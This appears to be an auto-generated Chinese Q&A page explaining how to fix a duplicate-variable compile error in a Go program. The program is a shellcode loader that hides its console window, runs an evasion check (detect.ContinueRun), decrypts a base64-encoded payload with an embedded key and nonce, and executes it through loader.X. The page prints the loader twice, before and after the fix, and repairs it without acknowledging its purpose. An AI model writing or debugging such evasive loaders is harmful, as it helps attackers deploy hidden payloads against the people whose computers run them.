Go 语言代码报错:变量名重复导致编译错误
Go 语言代码报错:变量名重复导致编译错误
以下代码在第 13 行和第 16 行中定义了同名的变量 'buf',导致编译器无法识别,从而报错。
package main
import (
"encoding/base64"
"gld/detect"
"gld/loader"
"gld/util"
"github.com/lxn/win"
)
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
if !detect.ContinueRun() { return }
key, _ := base64.StdEncoding.DecodeString('OTbrlslvlmAJCnkaBdGLsIUo92194R+gWspARPG+cvo=')
nonce, _ := base64.StdEncoding.DecodeString('+scwwrYSCXKddUPP')
buf, _ := base64.StdEncoding.DecodeString('/')
decryptedData := util.E(buf, key, nonce)
encodedData := base64.StdEncoding.EncodeToString(decryptedData)
decodedData, _ := base64.StdEncoding.DecodeString(encodedData)
buf := util.D(decodedData, key, nonce)
loader.X(buf)
}
解决方案
可以将第 16 行中的变量名改为其他名称,例如:
buf2 := util.D(decodedData, key, nonce)
修改后的代码
package main
import (
"encoding/base64"
"gld/detect"
"gld/loader"
"gld/util"
"github.com/lxn/win"
)
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
if !detect.ContinueRun() { return }
key, _ := base64.StdEncoding.DecodeString('OTbrlslvlmAJCnkaBdGLsIUo92194R+gWspARPG+cvo=')
nonce, _ := base64.StdEncoding.DecodeString('+scwwrYSCXKddUPP')
buf, _ := base64.StdEncoding.DecodeString('/')
decryptedData := util.E(buf, key, nonce)
encodedData := base64.StdEncoding.EncodeToString(decryptedData)
decodedData, _ := base64.StdEncoding.DecodeString(encodedData)
buf2 := util.D(decodedData, key, nonce)
loader.X(buf2)
}
通过修改变量名,避免重复定义,即可解决编译错误。
原文地址: https://www.cveoy.top/t/topic/lQbG 著作权归作者所有。请勿转载和采集!